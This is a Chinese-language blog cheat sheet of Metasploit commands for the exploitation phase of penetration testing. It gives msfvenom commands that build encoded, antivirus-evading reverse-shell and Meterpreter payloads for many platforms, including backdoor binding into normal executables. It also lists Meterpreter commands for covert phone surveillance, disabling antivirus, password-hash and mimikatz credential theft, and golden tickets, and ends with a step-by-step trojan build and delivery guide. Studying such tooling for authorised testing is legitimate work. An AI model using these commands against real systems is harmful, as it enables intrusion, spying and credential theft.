【内网渗透】MSF渗透阶段的常用指令笔记

目录

渗透阶段划分

msfvenom 常用参数

各平台生成payload命令

Meterpreter

Meterpreter的常用命令

基本命令

常用命令

针对安卓手机的一些命令

针对Windows的一些命令

文件系统命令

生成木马反弹shell(以linux靶机为例)

木马生成

配置监控

攻击利用


渗透阶段划分

漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 渗透利用 后渗透利用 报告 这几个阶段

正如标题所说,本篇文章讨论的是渗透利用阶段

msfvenom 常用参数

-l 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p 指定需要使用的payload(攻击荷载)。

-f 指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e 指定需要使用的encoder(编码器)编码免杀。

-a 指定payload的目标架构

选择架构平台:

x86 | x64 | x86_64 Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o 保存payload文件输出。

-b 设定规避字符集,比如: '\x00\xff'避免使用的字符

-n 为payload预先指定一个NOP滑动长度

-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i 指定payload的编码次数

-c 指定一个附加的win32 shellcode文件

-x 指定一个自定义的可执行文件作为模板 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k 保护模板程序的动作,注入的payload作为一个新的进程运行 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v 指定一个自定义的变量,以确定输出格式


各平台生成payload命令


Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe


Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho


Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk


Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1


Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf


php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php


aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx


JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp


war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war


nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js


python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py


perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl


ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb


lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua


windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c


mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

Meterpreter

Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展,所以Ruby语言还很有必要了解下。

Meterpreter的常用命令

基本命令

help# 查看Meterpreter帮助

background#返回,把meterpreter后台挂起
bgkill# 杀死一个 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k  number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
 run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
 irb# 进入 Ruby 脚本模式
 read# 从通道读取数据write# 将数据写入到一个通道
 run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本

常用命令

针对安卓手机的一些命令

获取手机通讯录: dump_contacts

获取短信记录:dump_sms

控制实验手机发短信:send_sms -d 15330252525 -t "hello"

获取实验手机GPS定位信息:geolocate

获取实验手机Wi-Fi定位信息:wlan_geolocate

控制实验手机录音:record_mic -d 5

获取实验手机相机设备:webcam_list

控制实验手机拍照 :webcam_snap

直播实验手机摄像头:webcam_stream

针对Windows的一些命令

查看进程:ps

查看当前进程号:getpid

查看系统信息:sysinfo

查看目标机是否为虚拟机:run post/windows/gather/checkvm

查看完整网络设置:route

查看当前权限:getuid

自动提权:getsystem

关闭杀毒软件:run post/windows/manage/killav

启动远程桌面协议:run post/windows/manage/enable_rdp

列举当前登录的用户:run post/windows/gather/enum_logged_on_users

查看当前应用程序:run post/windows/gather/enum_applications

抓取目标机的屏幕截图:load espia ; screengrab

获取相机设备:webcam_list

控制拍照 :webcam_snap

直播摄像头:webcam_stream

控制录音:record_mic

查看当前处于目标机的那个目录:pwd

查看当前目录:getlwd

导出当前用户密码哈希 run hashdump

用户名:SID:LM哈希:NTLM哈希:::

也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump

抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin

直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)

首选终端输入 load kiwi 加载kiwi

creds_all:列举所有凭据

creds_kerberos:列举所有kerberos凭据

creds_msv:列举所有msv凭据

creds_ssp:列举所有ssp凭据

creds_tspkg:列举所有tspkg凭据

creds_wdigest:列举所有wdigest凭据

dcsync:通过DCSync检索用户帐户信息

dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create:创建黄金票据

kerberos_ticket_list:列举kerberos票据

kerberos_ticket_purge:清除kerberos票据

kerberos_ticket_use:使用kerberos票据

kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文

password_change:修改密码

wifi_list:列出当前用户的wifi配置文件

wifi_list_shared:列出共享wifi配置文件/编码

文件系统命令

cat c:\boot.ini#查看文件内容,文件必须存在

del c:\boot.ini #删除指定的文件

upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\windows\system32

download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/

edit c:\boot.ini # 编辑文件

getlwd#打印本地目录

getwd#打印工作目录

lcd#更改本地目录

ls#列出在当前目录中的文件列表

lpwd#打印本地目录

pwd#输出工作目录

cd c:\ #进入目录文件下

rm file #删除文件

mkdir dier #在受害者系统上的创建目录

rmdir#受害者系统上删除目录

dir#列出目标主机的文件和文件夹信息

mv#修改目标主机上的文件名

search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc

meterpreter > search -f autoexec.bat #搜索文件

meterpreter > search -f sea.bat c:\xamp\

enumdesktops #用户登录数

生成木马反弹shell(以linux靶机为例)

木马生成

1. 生成一个Linux后门
2. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} -f elf > shell.elf

配置监控

1. 启动msf   终端内输入:msfconsole 启动msf

2. 载入监控模块  msf中输入:  use exploit/multi/handler

3. 加载payload  msf终端中输入:set payload linux/x64/meterpreter/reverse_tcp

4. 配置payload  msf终端中输入:show options

5. 配置payload监控IP msf终端中输入: set  lhost  {监控IP}

6. 配置payload监控端口  msf终端中输入:set lport  {监控端口} (注意这里要和木马配置时使用的端口相同&如果使用内网穿透服务填写转发后的端口)

7. 检查payload配置  msf终端中输入:show options

8. 执行监控  msf终端中输入: run

攻击利用

1. 将木马上传到靶机 

   通过python创建一个简单web服务

    python2 -m SimpleHTTPServer 80

2. 在靶机上执行木马 

3. 完成攻击利用

相关推荐

  1. 47-4 渗透 - MSF介绍

    2024-07-10 07:32:02       28 阅读
  2. pth横向渗透思路笔记

    2024-07-10 07:32:02       34 阅读
  3. 渗透简介

    2024-07-10 07:32:02       25 阅读
  4. 一些渗透总结

    2024-07-10 07:32:02       55 阅读
  5. 某60渗透之frp实战指南1

    2024-07-10 07:32:02       63 阅读
  6. 渗透测试checklist

    2024-07-10 07:32:02       31 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-10 07:32:02       99 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-10 07:32:02       107 阅读
  3. 在Django里面运行非项目文件

    2024-07-10 07:32:02       90 阅读
  4. Python语言-面向对象

    2024-07-10 07:32:02       98 阅读

热门阅读

  1. ASPICE是汽车软件开发中的质量保证流程

    2024-07-10 07:32:02       33 阅读
  2. 游戏开发面试题2

    2024-07-10 07:32:02       36 阅读
  3. 4.10-7.9

    2024-07-10 07:32:02       37 阅读
  4. Django ModelForm用法详解 —— Python

    2024-07-10 07:32:02       29 阅读
  5. uWSGI 配置 python django 进行发布

    2024-07-10 07:32:02       27 阅读
  6. 源码编译安装LAMP

    2024-07-10 07:32:02       25 阅读
  7. 网格化监控:Eureka与分布式服务网格的协同监控

    2024-07-10 07:32:02       31 阅读
  8. Tomcat异步请求实现原理和应用场景简介

    2024-07-10 07:32:02       34 阅读
  9. [Python学习篇] Python面向对象——类

    2024-07-10 07:32:02       23 阅读